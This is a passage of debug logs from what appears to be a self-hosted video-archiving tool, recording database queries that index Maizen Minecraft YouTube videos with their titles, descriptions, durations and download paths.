("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "33a41043-bbaf-4208-80f4-a95a9f03344f", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", 4, "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, false, false, 2, [], 98, ~U[2026-07-23 03:28:21Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, 2, ~U[2026-07-23 03:28:21Z]] 19:36:17.417 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.418 [debug] QUERY OK source="media_items" db=1.1ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-10 07:31:34Z], 2] 19:36:17.419 [debug] QUERY OK source="media_items" db=0.5ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "c2ecc4fa-319f-4b9b-b125-ac4b23397ebd", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", 5, "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-07-10 07:31:34Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, 2, ~U[2026-07-10 07:31:34Z]] 19:36:17.420 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.421 [debug] QUERY OK source="media_items" db=1.2ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-27 03:00:06Z], 2] 19:36:17.422 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "d96b16bc-d23a-4eea-bf95-e27555df493f", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", 6, "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-27 03:00:06Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-27 03:00:06Z]] 19:36:17.422 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.424 [debug] QUERY OK source="media_items" db=1.2ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-20 03:00:06Z], 2] 19:36:17.425 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "7277aa3d-6c54-4a97-9794-8884e8e31371", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", 7, "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-20 03:00:06Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-20 03:00:06Z]] 19:36:17.425 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.426 [debug] QUERY OK source="media_items" db=1.3ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-13 03:00:06Z], 2] 19:36:17.427 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "88e71b10-4c2e-4092-bf20-8cb6faa2c481", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", 8, "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-13 03:00:06Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, 2, ~U[2026-06-13 03:00:06Z]] 19:36:17.428 [debug] QUERY OK source="sources" db=0.3ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.429 [debug] QUERY OK source="media_items" db=1.2ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-06 03:00:06Z], 2] 19:36:17.430 [debug] QUERY OK source="media_items" db=0.6ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "717bedb7-c759-4a1d-b21c-35a3e717ed19", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", 9, "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-06 03:00:06Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, 2, ~U[2026-06-06 03:00:06Z]] 19:36:17.431 [debug] QUERY OK source="sources" db=0.2ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.432 [debug] QUERY OK source="media_items" db=1.2ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 07:16:54Z], 2] 19:36:17.433 [debug] QUERY OK source="media_items" db=0.5ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "74ab0200-0877-44ca-9eb3-2793ec4382be", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", 10, "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, false, false, 2, [], 98, ~U[2026-06-01 07:16:54Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, 2, ~U[2026-06-01 07:16:54Z]] 19:36:17.433 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.435 [debug] QUERY OK source="media_items" db=1.2ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 07:42:34Z], 2] 19:36:17.436 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "77b4d204-4d4e-4ec3-ad91-503963e94176", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", 11, "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, false, false, 2, [], 98, ~U[2026-05-29 07:42:34Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, 2, ~U[2026-05-29 07:42:34Z]] 19:36:17.436 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.438 [debug] QUERY OK source="media_items" db=1.2ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 05:54:04Z], 2] 19:36:17.438 [debug] QUERY OK source="media_items" db=0.5ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "29a181e1-66e2-4201-92bf-0f320bd4645e", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", 12, "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-26 05:54:04Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, 2, ~U[2026-05-26 05:54:04Z]] 19:36:17.439 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.440 [debug] QUERY OK source="media_items" db=1.1ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 01:41:39Z], 2] 19:36:17.441 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "ad3253d6-6ab4-4ebe-b20c-cd95c1582330", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", 13, "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-23 01:41:39Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-23 01:41:39Z]] 19:36:17.441 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.443 [debug] QUERY OK source="media_items" db=1.1ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 07:13:54Z], 2] 19:36:17.444 [debug] QUERY OK source="media_items" db=0.5ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "f5a7bee7-6386-48d2-92d3-8b2d02ebc64d", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", 14, "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-22 07:13:54Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, 2, ~U[2026-05-22 07:13:54Z]] 19:36:17.444 [debug] QUERY OK source="sources" db=0.2ms 